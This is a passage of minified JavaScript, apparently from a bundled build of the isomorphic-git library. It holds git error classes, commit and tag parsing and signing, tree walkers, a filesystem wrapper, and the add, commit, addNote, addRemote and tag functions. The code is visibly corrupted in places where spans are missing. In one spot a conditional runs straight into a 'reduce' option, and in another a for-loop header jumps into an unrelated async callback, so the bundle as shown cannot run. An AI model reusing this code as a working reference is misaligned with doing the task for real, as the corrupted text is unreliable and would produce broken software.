"${e}" because commit ${n} is not available locally. Do a git fetch to make the branch available locally.`),this.code=this.name=t.code,this.data={ref:e,oid:n}}};Hf.code="CommitNotFetchedError";var Wf=class t extends je{constructor(){super("Empty response from git server."),this.code=this.name=t.code,this.data={}}};Wf.code="EmptyServerResponseError";var Gf=class t extends je{constructor(){super("A simple fast-forward merge was not possible."),this.code=this.name=t.code,this.data={}}};Gf.code="FastForwardError";var Qf=class t extends je{constructor(e,n){super(`One or more branches were not updated: ${e}`),this.code=this.name=t.code,this.data={prettyDetails:e,result:n}}};Qf.code="GitPushError";var uc=class t extends je{constructor(e,n,r){super(`HTTP Error: ${e} ${n}`),this.code=this.name=t.code,this.data={statusCode:e,statusMessage:n,response:r}}};uc.code="HttpError";var Xs=class t extends je{constructor(e){let n="invalid filepath";e==="leading-slash"||e==="trailing-slash"?n='"filepath" parameter should not include leading or trailing directory separators because these can cause problems on some platforms.':e==="directory"&&(n='"filepath" should not be a directory.'),super(n),this.code=this.name=t.code,this.data={reason:e}}};Xs.code="InvalidFilepathError";var si=class t extends je{constructor(e,n){super(`"${e}" would be an invalid git reference. (Hint: a valid alternative would be "${n}".)`),this.code=this.name=t.code,this.data={ref:e,suggestion:n}}};si.code="InvalidRefNameError";var Kf=class t extends je{constructor(e){super(`Maximum search depth of ${e} exceeded.`),this.code=this.name=t.code,this.data={depth:e}}};Kf.code="MaxDepthError";var fc=class t extends je{constructor(){super("Merges with conflicts are not supported yet."),this.code=this.name=t.code,this.data={}}};fc.code="MergeNotSupportedError";var hc=class t extends je{constructor(e,n,r,i){super(`Automatic merge failed with one or more merge conflicts in the following files: ${e.toString()}. Fix conflicts then commit the result.`),this.code=this.name=t.code,this.data={filepaths:e,bothModified:n,deleteByUs:r,deleteByTheirs:i}}};hc.code="MergeConflictError";var ln=class t extends je{constructor(e){super(`No name was provided for ${e} in the argument or in the .git/config file.`),this.code=this.name=t.code,this.data={role:e}}};ln.code="MissingNameError";var Rn=class t extends je{constructor(e){super(`The function requires a "${e}" parameter but none was provided.`),this.code=this.name=t.code,this.data={parameter:e}}};Rn.code="MissingParameterError";var Zf=class t extends je{constructor(e){super('There are multiple errors that were thrown by the method. Please refer to the "errors" property to see more'),this.code=this.name=t.code,this.data={errors:e},this.errors=e}};Zf.code="MultipleGitError";var ka=class t extends je{constructor(e,n){super(`Expected "${e}" but received "${n}".`),this.code=this.name=t.code,this.data={expected:e,actual:n}}};ka.code="ParseError";var dc=class t extends je{constructor(e){let n="";e==="not-fast-forward"?n=" because it was not a simple fast-forward":e==="tag-exists"&&(n=" because tag already exists"),super(`Push rejected${n}. Use "force: true" to override.`),this.code=this.name=t.code,this.data={reason:e}}};dc.code="PushRejectedError";var Zs=class t extends je{constructor(e,n){super(`Remote does not support the "${e}" so the "${n}" parameter cannot be used.`),this.code=this.name=t.code,this.data={capability:e,parameter:n}}};Zs.code="RemoteCapabilityError";var Yf=class t extends je{constructor(e,n){super(`Remote did not reply using the "smart" HTTP protocol. Expected "001e# service=git-upload-pack" but received: ${e}`),this.code=this.name=t.code,this.data={preview:e,response:n}}};Yf.code="SmartHttpError";var Jf=class t extends je{constructor(e,n,r){super(`Git remote "${e}" uses an unrecognized transport protocol: "${n}"`),this.code=this.name=t.code,this.data={url:e,transport:n,suggestion:r}}};Jf.code="UnknownTransportError";var Xf=class t extends je{constructor(e){super(`Cannot parse remote URL: "${e}"`),this.code=this.name=t.code,this.data={url:e}}};Xf.code="UrlParseError";var mc=class t extends je{constructor(){super("The operation was canceled."),this.code=this.name=t.code,this.data={}}};mc.code="UserCanceledError";var eh=class t extends je{constructor(e){super(`Could not merge index: Entry for '${e}' is not up to date. Either reset the index entry to HEAD, or stage your unstaged changes.`),this.code=this.name=t.code,this.data={filepath:e}}};eh.code="IndexResetError";var th=class t extends je{constructor(e){super(`"${e}" does not point to any commit. You're maybe working on a repository with no commits yet. `),this.code=this.name=t.code,this.data={ref:e}}};th.code="NoCommitError";var tO=Object.freeze({__proto__:null,AlreadyExistsError:ii,AmbiguousError:qf,CheckoutConflictError:Vf,CommitNotFetchedError:Hf,EmptyServerResponseError:Wf,FastForwardError:Gf,GitPushError:Qf,HttpError:uc,InternalError:Ce,InvalidFilepathError:Xs,InvalidOidError:Ys,InvalidRefNameError:si,MaxDepthError:Kf,MergeNotSupportedError:fc,MergeConflictError:hc,MissingNameError:ln,MissingParameterError:Rn,MultipleGitError:Zf,NoRefspecError:Uf,NotFoundError:st,ObjectTypeError:bn,ParseError:ka,PushRejectedError:dc,RemoteCapabilityError:Zs,SmartHttpError:Yf,UnknownTransportError:Jf,UnsafeFilepathError:lc,UrlParseError:Xf,UserCanceledError:mc,UnmergedPathsError:$f,IndexResetError:eh,NoCommitError:th});function Vv({name:t,email:e,timestamp:n,timezoneOffset:r}){return r=u9(r),`${t} <${e}> ${n} ${r}`}function u9(t){let e=f9(h9(t));t=Math.abs(t);let n=Math.floor(t/60);t-=n*60;let r=String(n),i=String(t);return r.length<2&&(r="0"+r),i.length<2&&(i="0"+i),(e===-1?"-":"+")+r+i}function f9(t){return Math.sign(t)||(Object.is(t,-0)?-1:1)}function h9(t){return t===0?t:-t}function cs(t){return t=t.replace(/\r/g,""),t=t.replace(/^\n+/,""),t=t.replace(/\n+$/,"")+` -`,t}function Tp(t){let[,e,n,r,i]=t.match(/^(.*) <(.*)> (.*) (.*)$/);return{name:e,email:n,timestamp:Number(r),timezoneOffset:d9(i)}}function d9(t){let[,e,n,r]=t.match(/(\+|-)(\d\d)(\d\d)/);return r=(e==="+"?1:-1)*(Number(n)*60+Number(r)),m9(r)}function m9(t){return t===0?t:-t}var lr=class t{constructor(e){if(typeof e=="string")this._tag=e;else if(x.isBuffer(e))this._tag=e.toString("utf8");else if(typeof e=="object")this._tag=t.render(e);else throw new Ce("invalid type passed to GitAnnotatedTag constructor")}static from(e){return new t(e)}static render(e){return`object ${e.object} -type ${e.type} -tag ${e.tag} -tagger ${Vv(e.tagger)} - -${e.message} -${e.gpgsig?e.gpgsig:""}`}justHeaders(){return this._tag.slice(0,this._tag.indexOf(` - -`))}message(){let e=this.withoutSignature();return e.slice(e.indexOf(` - -`)+2)}parse(){return Object.assign(this.headers(),{message:this.message(),gpgsig:this.gpgsig()})}render(){return this._tag}headers(){let e=this.justHeaders().split(` -`),n=[];for(let i of e)i[0]===" "?n[n.length-1]+=` -`+i.slice(1):n.push(i);let r={};for(let i of n){let s=i.slice(0,i.indexOf(" ")),o=i.slice(i.indexOf(" ")+1);Array.isArray(r[s])?r[s].push(o):r[s]=o}return r.tagger&&(r.tagger=Tp(r.tagger)),r.committer&&(r.committer=Tp(r.committer)),r}withoutSignature(){let e=cs(this._tag);return e.indexOf(` ------BEGIN PGP SIGNATURE-----`)===-1?e:e.slice(0,e.lastIndexOf(` ------BEGIN PGP SIGNATURE-----`))}gpgsig(){if(this._tag.indexOf(` ------BEGIN PGP SIGNATURE-----`)===-1)return;let e=this._tag.slice(this._tag.indexOf("-----BEGIN PGP SIGNATURE-----"),this._tag.indexOf("-----END PGP SIGNATURE-----")+27);return cs(e)}payload(){return this.withoutSignature()+` -`}toObject(){return x.from(this._tag,"utf8")}static async sign(e,n,r){let i=e.payload(),{signature:s}=await n({payload:i,secretKey:r});s=cs(s);let o=i+s;return t.from(o)}};function Ov(t){return t.trim().split(` -`).map(e=>" "+e).join(` -`)+` -`}function p9(t){return t.split(` -`).map(e=>e.replace(/^ /,"")).join(` -`)}var Ln=class t{constructor(e){if(typeof e=="string")this._commit=e;else if(x.isBuffer(e))this._commit=e.toString("utf8");else if(typeof e=="object")this._commit=t.render(e);else throw new Ce("invalid type passed to GitCommit constructor")}static fromPayloadSignature({payload:e,signature:n}){let r=t.justHeaders(e),i=t.justMessage(e),s=cs(r+` -gpgsig`+Ov(n)+` -`+i);return new t(s)}static from(e){return new t(e)}toObject(){return x.from(this._commit,"utf8")}headers(){return this.parseHeaders()}message(){return t.justMessage(this._commit)}parse(){return Object.assign({message:this.message()},this.headers())}static justMessage(e){return cs(e.slice(e.indexOf(` - -`)+2))}static justHeaders(e){return e.slice(0,e.indexOf(` - -`))}parseHeaders(){let e=t.justHeaders(this._commit).split(` -`),n=[];for(let i of e)i[0]===" "?n[n.length-1]+=` -`+i.slice(1):n.push(i);let r={parent:[]};for(let i of n){let s=i.slice(0,i.indexOf(" ")),o=i.slice(i.indexOf(" ")+1);Array.isArray(r[s])?r[s].push(o):r[s]=o}return r.author&&(r.author=Tp(r.author)),r.committer&&(r.committer=Tp(r.committer)),r}static renderHeaders(e){let n="";if(e.tree?n+=`tree ${e.tree} -`:n+=`tree 4b825dc642cb6eb9a060e54bf8d69288fbee4904 -`,e.parent){if(e.parent.length===void 0)throw new Ce("commit 'parent' property should be an array");for(let s of e.parent)n+=`parent ${s} -`}let r=e.author;n+=`author ${Vv(r)} -`;let i=e.committer||e.author;return n+=`committer ${Vv(i)} -`,e.gpgsig&&(n+="gpgsig"+Ov(e.gpgsig)),n}static render(e){return t.renderHeaders(e)+` -`+cs(e.message)}render(){return this._commit}withoutSignature(){let e=cs(this._commit);if(e.indexOf(` -gpgsig`)===-1)return e;let n=e.slice(0,e.indexOf(` -gpgsig`)),r=e.slice(e.indexOf(`-----END PGP SIGNATURE----- -`)+28);return cs(n+` -`+r)}isolateSignature(){let e=this._commit.slice(this._commit.indexOf("-----BEGIN PGP SIGNATURE-----"),this._commit.indexOf("-----END PGP SIGNATURE-----")+27);return p9(e)}static async sign(e,n,r){let i=e.withoutSignature(),s=t.justMessage(e._commit),{signature:o}=await n({payload:i,secretKey:r});o=cs(o);let l=t.justHeaders(e._commit)+` -gpgsig`+Ov(o)+` -`+s;return t.from(l)}};async function pc({fs:t,cache:e,gitdir:n,oid:r}){if(r==="4b825dc642cb6eb9a060e54bf8d69288fbee4904")return{tree:zn.from([]),oid:r};let{type:i,object:s}=await ct({fs:t,cache:e,gitdir:n,oid:r});if(i==="tag")return r=lr.from(s).parse().object,pc({fs:t,cache:e,gitdir:n,oid:r});if(i==="commit")return r=Ln.from(s).parse().tree,pc({fs:t,cache:e,gitdir:n,oid:r});if(i!=="tree")throw new bn(r,i,"tree");return{tree:zn.from(s),oid:r}}var Hv=class{constructor({fs:e,gitdir:n,ref:r,cache:i}){this.fs=e,this.cache=i,this.gitdir=n,this.mapPromise=(async()=>{let o=new Map,a;try{a=await te.resolve({fs:e,gitdir:n,ref:r})}catch(c){c instanceof st&&(a="4b825dc642cb6eb9a060e54bf8d69288fbee4904")}let l=await pc({fs:e,cache:this.cache,gitdir:n,oid:a});return l.type="tree",l.mode="40000",o.set(".",l),o})();let s=this;this.ConstructEntry=class{constructor(a){this._fullpath=a,this._type=!1,this._mode=!1,this._stat=!1,this._content=!1,this._oid=!1}async type(){return s.type(this)}async mode(){return s.mode(this)}async stat(){return s.stat(this)}async content(){return s.content(this)}async oid(){return s.oid(this)}}}async readdir(e){let n=e._fullpath,{fs:r,cache:i,gitdir:s}=this,o=await this.mapPromise,a=o.get(n);if(!a)throw new Error(`No obj for ${n}`);let l=a.oid;if(!l)throw new Error(`No oid for obj ${JSON.stringify(a)}`);if(a.type!=="tree")return null;let{type:c,object:u}=await ct({fs:r,cache:i,gitdir:s,oid:l});if(c!==a.type)throw new bn(l,c,a.type);let f=zn.from(u);for(let h of f)o.set(V(n,h.path),h);return f.entries().map(h=>V(n,h.path))}async type(e){if(e._type===!1){let n=await this.mapPromise,{type:r}=n.get(e._fullpath);e._type=r}return e._type}async mode(e){if(e._mode===!1){let n=await this.mapPromise,{mode:r}=n.get(e._fullpath);e._mode=QA(parseInt(r,8))}return e._mode}async stat(e){}async content(e){if(e._content===!1){let n=await this.mapPromise,{fs:r,cache:i,gitdir:s}=this,a=n.get(e._fullpath).oid,{type:l,object:c}=await ct({fs:r,cache:i,gitdir:s,oid:a});l!=="blob"?e._content=void 0:e._content=new Uint8Array(c)}return e._content}async oid(e){if(e._oid===!1){let r=(await this.mapPromise).get(e._fullpath);e._oid=r.oid}return e._oid}};function ar({ref:t="HEAD"}={}){let e=Object.create(null);return Object.defineProperty(e,Np,{value:function({fs:n,gitdir:r,cache:i}){return new Hv({fs:n,gitdir:r,ref:t,cache:i})}}),Object.freeze(e),e}var Wv=class{constructor({fs:e,dir:n,gitdir:r,cache:i}){this.fs=e,this.cache=i,this.dir=n,this.gitdir=r,this.config=null;let s=this;this.ConstructEntry=class{constructor(a){this._fullpath=a,this._type=!1,this._mode=!1,this._stat=!1,this._content=!1,this._oid=!1}async type(){return s.type(this)}async mode(){return s.mode(this)}async stat(){return s.stat(this)}async content(){return s.content(this)}async oid(){return s.oid(this)}}}async readdir(e){let n=e._fullpath,{fs:r,dir:i}=this,s=await r.readdir(V(i,n));return s===null?null:s.map(o=>V(n,o))}async type(e){return e._type===!1&&await e.stat(),e._type}async mode(e){return e._mode===!1&&await e.stat(),e._mode}async stat(e){if(e._stat===!1){let{fs:n,dir:r}=this,i=await n.lstat(`${r}/${e._fullpath}`);if(!i)throw new Error(`ENOENT: no such file or directory, lstat '${e._fullpath}'`);let s=i.isDirectory()?"tree":"blob";s==="blob"&&!i.isFile()&&!i.isSymbolicLink()&&(s="special"),e._type=s,i=cc(i),e._mode=i.mode,i.size===-1&&e._actualSize&&(i.size=e._actualSize),e._stat=i}return e._stat}async content(e){if(e._content===!1){let{fs:n,dir:r,gitdir:i}=this;if(await e.type()==="tree")e._content=void 0;else{let o=await(await this._getGitConfig(n,i)).get("core.autocrlf"),a=await n.read(`${r}/${e._fullpath}`,{autocrlf:o});e._actualSize=a.length,e._stat&&e._stat.size===-1&&(e._stat.size=e._actualSize),e._content=new Uint8Array(a)}}return e._content}async oid(e){if(e._oid===!1){let n=this,{fs:r,gitdir:i,cache:s}=this,o;await Tt.acquire({fs:r,gitdir:i,cache:s},async function(a){let l=a.entriesMap.get(e._fullpath),c=await e.stat(),f=await(await n._getGitConfig(r,i)).get("core.filemode"),h=typeof process<"u"?process.platform!=="win32":!0;if(!l||Sp(c,l,f,h)){let d=await e.content();d===void 0?o=void 0:(o=await us(Js.wrap({type:"blob",object:d})),l&&o===l.oid&&(!f||c.mode===l.mode)&&Sp(c,l,f,h)&&a.insert({filepath:e._fullpath,stats:c,oid:o}))}else o=l.oid}),e._oid=o}return e._oid}async _getGitConfig(e,n){return this.config?this.config:(this.config=await Et.get({fs:e,gitdir:n}),this.config)}};function kc(){let t=Object.create(null);return Object.defineProperty(t,Np,{value:function({fs:e,dir:n,gitdir:r,cache:i}){return new Wv({fs:e,dir:n,gitdir:r,cache:i})}}),Object.freeze(t),t}function g9(t,e){let n=e-t;return Array.from({length:n},(r,i)=>t+i)}var nO=typeof Array.prototype.flat>"u"?t=>t.reduce((e,n)=>e.concat(n),[]):t=>t.flat(),Gv=class{constructor(){this.value=null}consider(e){e!=null&&(this.value===null?this.value=e:ec,reduce:o=async(l,c)=>{let u=nO(c);return l!==void 0&&u.unshift(l),u},iterate:a=(l,c)=>Promise.all([...c].map(l))}){let l=i.map(d=>d[Np]({fs:t,dir:n,gitdir:r,cache:e})),c=new Array(l.length).fill("."),u=g9(0,l.length),f=async d=>{u.forEach(y=>{let w=d[y];d[y]=w&&new l[y].ConstructEntry(w)});let g=(await Promise.all(u.map(y=>{let w=d[y];return w?l[y].readdir(w):[]}))).map(y=>(y===null?[]:y)[Symbol.iterator]());return{entries:d,children:y9(g)}},h=async d=>{let{entries:p,children:g}=await f(d),y=p.find(b=>b&&b._fullpath)._fullpath,w=await s(y,p);if(w!==null){let b=await a(h,g);return b=b.filter(S=>S!==void 0),o(w,b)}};return h(c)}async function Qv(t,e){let n=await t.readdir(e);n==null?await t.rm(e):n.length?await Promise.all(n.map(r=>{let i=V(e,r);return t.lstat(i).then(s=>{if(s)return s.isDirectory()?Qv(t,i):t.rm(i)})})).then(()=>t.rmdir(e)):await t.rmdir(e)}function w9(t){return b9(t)&&PA(t.then)&&PA(t.catch)}function b9(t){return t&&typeof t=="object"}function PA(t){return typeof t=="function"}function NA(t){return w9((n=>{try{return n.readFile().catch(r=>r)}catch(r){return r}})(t))}var MA=["readFile","writeFile","mkdir","rmdir","unlink","stat","lstat","readdir","readlink","symlink"];function RA(t,e){if(NA(e))for(let n of MA)t[`_${n}`]=e[n].bind(e);else for(let n of MA)t[`_${n}`]=vp(e[n].bind(e));NA(e)?(e.cp&&(t._cp=e.cp.bind(e)),e.rm?t._rm=e.rm.bind(e):e.rmdir.length>1?t._rm=e.rmdir.bind(e):t._rm=Qv.bind(null,t)):(e.cp&&(t._cp=vp(e.cp.bind(e))),e.rm?t._rm=vp(e.rm.bind(e)):e.rmdir.length>2?t._rm=vp(e.rmdir.bind(e)):t._rm=Qv.bind(null,t))}var fe=class{constructor(e){if(typeof e._original_unwrapped_fs<"u")return e;let n=Object.getOwnPropertyDescriptor(e,"promises");n&&n.enumerable?RA(this,e.promises):RA(this,e),this._original_unwrapped_fs=e}async exists(e,n={}){try{return await this._stat(e),!0}catch(r){if(r.code==="ENOENT"||r.code==="ENOTDIR"||(r.code||"").includes("ENS"))return!1;throw console.log('Unhandled error in "FileSystem.exists()" function',r),r}}async read(e,n={}){try{let r=await this._readFile(e,n);if(n.autocrlf==="true")try{r=new TextDecoder("utf8",{fatal:!0}).decode(r),r=r.replace(/\r\n/g,` -`),r=new TextEncoder().encode(r)}catch{}return typeof r!="string"&&(r=x.from(r)),r}catch{return null}}async write(e,n,r={}){try{await this._writeFile(e,n,r)}catch{await this.mkdir(va(e)),await this._writeFile(e,n,r)}}async mkdir(e,n=!1){try{await this._mkdir(e)}catch(r){if(r===null||r.code==="EEXIST")return;if(n)throw r;if(r.code==="ENOENT"){let i=va(e);if(i==="."||i==="/"||i===e)throw r;await this.mkdir(i),await this.mkdir(e,!0)}}}async rm(e){try{await this._unlink(e)}catch(n){if(n.code!=="ENOENT")throw n}}async rmdir(e,n){try{n&&n.recursive?await this._rm(e,n):await this._rmdir(e)}catch(r){if(r.code!=="ENOENT")throw r}}async readdir(e){try{let n=await this._readdir(e);return n.sort(Pp),n}catch(n){return n.code==="ENOTDIR"?null:[]}}async readdirDeep(e){let n=await this._readdir(e);return(await Promise.all(n.map(async i=>{let s=e+"/"+i;return(await this._stat(s)).isDirectory()?this.readdirDeep(s):s}))).reduce((i,s)=>i.concat(s),[])}async lstat(e){try{return await this._lstat(e)}catch(n){if(n.code==="ENOENT"||(n.code||"").includes("ENS"))return null;throw n}}async readlink(e,n={encoding:"buffer"}){try{let r=await this._readlink(e,n);return x.isBuffer(r)?r:x.from(r)}catch(r){if(r.code==="ENOENT"||(r.code||"").includes("ENS"))return null;throw r}}async writelink(e,n){return this._symlink(n.toString("utf8"),e)}};function R(t,e){if(e===void 0)throw new Rn(t)}async function de({fsp:t,dotgit:e}){R("fsp",t),R("dotgit",e);let n=await t._stat(e).catch(()=>({isFile:()=>!1,isDirectory:()=>!1}));return n.isDirectory()?e:n.isFile()?t._readFile(e,"utf8").then(r=>r.trimRight().substr(8)).then(r=>V(va(e),r)):e}async function Fp(t,e){return!t&&!e?!1:t&&!e||!t&&e?!0:!(await t.type()==="tree"&&await e.type()==="tree"||await t.type()===await e.type()&&await t.mode()===await e.mode()&&await t.oid()===await e.oid())}async function rO({fs:t,dir:e,gitdir:n=V(e,".git"),commit:r="HEAD",cache:i={}}){try{R("fs",t),R("dir",e),R("gitdir",n);let s=new fe(t),o=[ar({ref:r}),kc(),Da()],a=[],l=await de({fsp:s,dotgit:n});await Tt.acquire({fs:s,gitdir:l,cache:i},async function(u){a=u.unmergedPaths});let c=await eo({fs:s,cache:i,dir:e,gitdir:l,trees:o,map:async function(u,[f,h,d]){let p=!await Fp(h,d),g=a.includes(u),y=!await Fp(d,f);if(p||g)return f?{path:u,mode:await f.mode(),oid:await f.oid(),type:await f.type(),content:await f.content()}:void 0;if(y)return!1;throw new eh(u)}});await Tt.acquire({fs:s,gitdir:l,cache:i},async function(u){for(let f of c)if(f!==!1){if(!f){await s.rmdir(`${e}/${f.path}`,{recursive:!0}),u.delete({filepath:f.path});continue}if(f.type==="blob"){let h=new TextDecoder().decode(f.content);await s.write(`${e}/${f.path}`,h,{mode:f.mode}),u.insert({filepath:f.path,oid:f.oid,stage:0})}}})}catch(s){throw s.caller="git.abortMerge",s}}var to=class{static async isIgnored({fs:e,dir:n,gitdir:r=V(n,".git"),filepath:i}){if(Dp(i)===".git")return!0;if(i===".")return!1;let s="",o=V(r,"info","exclude");await e.exists(o)&&(s=await e.read(o,"utf8"));let a=[{gitignore:V(n,".gitignore"),filepath:i}],l=i.split("/").filter(Boolean);for(let u=1;u{let f=await(await Et.get({fs:a,gitdir:l})).get("core.autocrlf");return Kv({dir:e,gitdir:l,fs:a,filepath:r,index:c,force:s,parallel:o,autocrlf:f})})}catch(a){throw a.caller="git.add",a}}async function Kv({dir:t,gitdir:e,fs:n,filepath:r,index:i,force:s,parallel:o,autocrlf:a}){r=Array.isArray(r)?r:[r];let l=r.map(async h=>{if(!s&&await to.isIgnored({fs:n,dir:t,gitdir:e,filepath:h}))return;let d=await n.lstat(V(t,h));if(!d)throw new st(h);if(d.isDirectory()){let p=await n.readdir(V(t,h));if(o){let g=p.map(y=>Kv({dir:t,gitdir:e,fs:n,filepath:[V(h,y)],index:i,force:s,parallel:o,autocrlf:a}));await Promise.all(g)}else for(let g of p)await Kv({dir:t,gitdir:e,fs:n,filepath:[V(h,g)],index:i,force:s,parallel:o,autocrlf:a})}else{let p=d.isSymbolicLink()?await n.readlink(V(t,h)).then(sO):await n.read(V(t,h),{autocrlf:a});if(p===null)throw new st(h);let g=await Bn({fs:n,gitdir:e,type:"blob",object:p});i.insert({filepath:h,stats:d,oid:g})}}),c=await Promise.allSettled(l),u=c.filter(h=>h.status==="rejected").map(h=>h.reason);if(u.length>1)throw new Zf(u);if(u.length===1)throw u[0];return c.filter(h=>h.status==="fulfilled"&&h.value).map(h=>h.value)}async function nh({fs:t,gitdir:e,path:n}){return(await Et.get({fs:t,gitdir:e})).get(n)}function aO(t,...e){for(let n of e)if(n)for(let r of Object.keys(n)){let i=n[r];i!==void 0&&(t[r]=i)}return t}async function no({fs:t,gitdir:e,author:n,commit:r}){let i=Math.floor(Date.now()/1e3),s={name:await nh({fs:t,gitdir:e,path:"user.name"}),email:await nh({fs:t,gitdir:e,path:"user.email"})||"",timestamp:i,timezoneOffset:new Date(i*1e3).getTimezoneOffset()},o=aO({},s,r?r.author:void 0,n);if(o.name!==void 0)return o}async function gc({fs:t,gitdir:e,author:n,committer:r,commit:i}){let s=Math.floor(Date.now()/1e3),o={name:await nh({fs:t,gitdir:e,path:"user.name"}),email:await nh({fs:t,gitdir:e,path:"user.email"})||"",timestamp:s,timezoneOffset:new Date(s*1e3).getTimezoneOffset()},a=aO({},o,i?i.committer:void 0,n,r);if(a.name!==void 0)return a}async function lO({fs:t,cache:e,gitdir:n,oid:r}){let{type:i,object:s}=await ct({fs:t,cache:e,gitdir:n,oid:r});if(i==="tag")return r=lr.from(s).parse().object,lO({fs:t,cache:e,gitdir:n,oid:r});if(i!=="commit")throw new bn(r,i,"commit");return{commit:Ln.from(s),oid:r}}async function yc({fs:t,cache:e,gitdir:n,oid:r}){let{commit:i,oid:s}=await lO({fs:t,cache:e,gitdir:n,oid:r});return{oid:s,commit:i.parse(),payload:i.withoutSignature()}}async function Mp({fs:t,cache:e,onSign:n,gitdir:r,message:i,author:s,committer:o,signingKey:a,amend:l=!1,dryRun:c=!1,noUpdateBranch:u=!1,ref:f,parent:h,tree:d}){let p=!1;f||(f=await te.resolve({fs:t,gitdir:r,ref:"HEAD",depth:2}));let g,y;try{g=await te.resolve({fs:t,gitdir:r,ref:f}),y=await yc({fs:t,gitdir:r,oid:g,cache:{}})}catch{p=!0}if(l&&p)throw new th(f);let w=l?await no({fs:t,gitdir:r,author:s,commit:y.commit}):await no({fs:t,gitdir:r,author:s});if(!w)throw new ln("author");let b=l?await gc({fs:t,gitdir:r,author:w,committer:o,commit:y.commit}):await gc({fs:t,gitdir:r,author:w,committer:o});if(!b)throw new ln("committer");return Tt.acquire({fs:t,gitdir:r,cache:e,allowUnmerged:!1},async function(S){let k=ZA(S.entries).get(".");if(d||(d=await cO({fs:t,gitdir:r,inode:k,dryRun:c})),h?h=await Promise.all(h.map(_=>te.resolve({fs:t,gitdir:r,ref:_}))):l?h=y.commit.parent:h=g?[g]:[],!i)if(l)i=y.commit.message;else throw new Rn("message");let E=Ln.from({tree:d,parent:h,author:w,committer:b,message:i});a&&(E=await Ln.sign(E,n,a));let v=await Bn({fs:t,gitdir:r,type:"commit",object:E.toObject(),dryRun:c});return!u&&!c&&await te.writeRef({fs:t,gitdir:r,ref:f,value:v}),v})}async function cO({fs:t,gitdir:e,inode:n,dryRun:r}){let i=n.children;for(let l of i)l.type==="tree"&&(l.metadata.mode="040000",l.metadata.oid=await cO({fs:t,gitdir:e,inode:l,dryRun:r}));let s=i.map(l=>({mode:l.metadata.mode,path:l.basename,oid:l.metadata.oid,type:l.type})),o=zn.from(s);return await Bn({fs:t,gitdir:e,type:"tree",object:o.toObject(),dryRun:r})}async function ih({fs:t,cache:e,gitdir:n,oid:r,filepath:i}){if(i.startsWith("/"))throw new Xs("leading-slash");if(i.endsWith("/"))throw new Xs("trailing-slash");let s=r,o=await pc({fs:t,cache:e,gitdir:n,oid:r}),a=o.tree;if(i==="")r=o.oid;else{let l=i.split("/");r=await uO({fs:t,cache:e,gitdir:n,tree:a,pathArray:l,oid:s,filepath:i})}return r}async function uO({fs:t,cache:e,gitdir:n,tree:r,pathArray:i,oid:s,filepath:o}){let a=i.shift();for(let l of r)if(l.path===a){if(i.length===0)return l.oid;{let{type:c,object:u}=await ct({fs:t,cache:e,gitdir:n,oid:l.oid});if(c!=="tree")throw new bn(s,c,"tree",o);return r=zn.from(u),uO({fs:t,cache:e,gitdir:n,tree:r,pathArray:i,oid:s,filepath:o})}}throw new st(`file or directory found at "${s}:${o}"`)}async function xc({fs:t,cache:e,gitdir:n,oid:r,filepath:i=void 0}){i!==void 0&&(r=await ih({fs:t,cache:e,gitdir:n,oid:r,filepath:i}));let{tree:s,oid:o}=await pc({fs:t,cache:e,gitdir:n,oid:r});return{oid:o,tree:s.entries()}}async function sh({fs:t,gitdir:e,tree:n}){let r=zn.from(n).toObject();return await Bn({fs:t,gitdir:e,type:"tree",object:r,format:"content"})}async function S9({fs:t,cache:e,onSign:n,gitdir:r,ref:i,oid:s,note:o,force:a,author:l,committer:c,signingKey:u}){let f;try{f=await te.resolve({gitdir:r,fs:t,ref:i})}catch(w){if(!(w instanceof st))throw w}let d=(await xc({fs:t,cache:e,gitdir:r,oid:f||"4b825dc642cb6eb9a060e54bf8d69288fbee4904"})).tree;if(a)d=d.filter(w=>w.path!==s);else for(let w of d)if(w.path===s)throw new ii("note",s);typeof o=="string"&&(o=x.from(o,"utf8"));let p=await Bn({fs:t,gitdir:r,type:"blob",object:o,format:"content"});d.push({mode:"100644",path:s,oid:p,type:"blob"});let g=await sh({fs:t,gitdir:r,tree:d});return await Mp({fs:t,cache:e,onSign:n,gitdir:r,ref:i,tree:g,parent:f&&[f],message:`Note added by 'isomorphic-git addNote' -`,author:l,committer:c,signingKey:u})}async function fO({fs:t,onSign:e,dir:n,gitdir:r=V(n,".git"),ref:i="refs/notes/commits",oid:s,note:o,force:a,author:l,committer:c,signingKey:u,cache:f={}}){try{R("fs",t),R("gitdir",r),R("oid",s),R("note",o),u&&R("onSign",e);let h=new fe(t),d=await no({fs:h,gitdir:r,author:l});if(!d)throw new ln("author");let p=await gc({fs:h,gitdir:r,author:d,committer:c});if(!p)throw new ln("committer");let g=await de({fsp:h,dotgit:r});return await S9({fs:h,cache:f,onSign:e,gitdir:g,ref:i,oid:s,note:o,force:a,author:d,committer:p,signingKey:u})}catch(h){throw h.caller="git.addNote",h}}var D9=/(^|[/.])([/.]|$)|^@$|@{|[\x00-\x20\x7f~^:?*[\\]|\.lock(\/|$)/;function rh(t,e){if(typeof t!="string")throw new TypeError("Reference name must be a string");return!D9.test(t)&&(!!e||t.includes("/"))}async function hO({fs:t,gitdir:e,remote:n,url:r,force:i}){if(!rh(n,!0))throw new si(n,Bf.clean(n));let s=await Et.get({fs:t,gitdir:e});if(!i&&(await s.getSubsections("remote")).includes(n)&&r!==await s.get(`remote.${n}.url`))throw new ii("remote",n);await s.set(`remote.${n}.url`,r),await s.set(`remote.${n}.fetch`,`+refs/heads/*:refs/remotes/${n}/*`),await Et.save({fs:t,gitdir:e,config:s})}async function dO({fs:t,dir:e,gitdir:n=V(e,".git"),remote:r,url:i,force:s=!1}){try{R("fs",t),R("gitdir",n),R("remote",r),R("url",i);let o=new fe(t),a=await de({fsp:o,dotgit:n});return await hO({fs:o,gitdir:a,remote:r,url:i,force:s})}catch(o){throw o.caller="git.addRemote",o}}async function E9({fs:t,cache:e,onSign:n,gitdir:r,ref:i,tagger:s,message:o=i,gpgsig:a,object:l,signingKey:c,force:u=!1}){if(i=i.startsWith("refs/tags/")?i:`refs/tags/${i}`,!u&&await te.exists({fs:t,gitdir:r,ref:i}))throw new ii("tag",i);let f=await te.resolve({fs:t,gitdir:r,ref:l||"HEAD"}),{type:h}=await ct({fs:t,cache:e,gitdir:r,oid:f}),d=lr.from({object:f,type:h,tag:i.replace("refs/tags/",""),tagger:s,message:o,gpgsig:a});c&&(d=await lr.sign(d,n,c));let p=await Bn({fs:t,gitdir:r,type:"tag",object:d.toObject()});await te.writeRef({fs:t,gitdir:r,ref:i,value:p})}async function 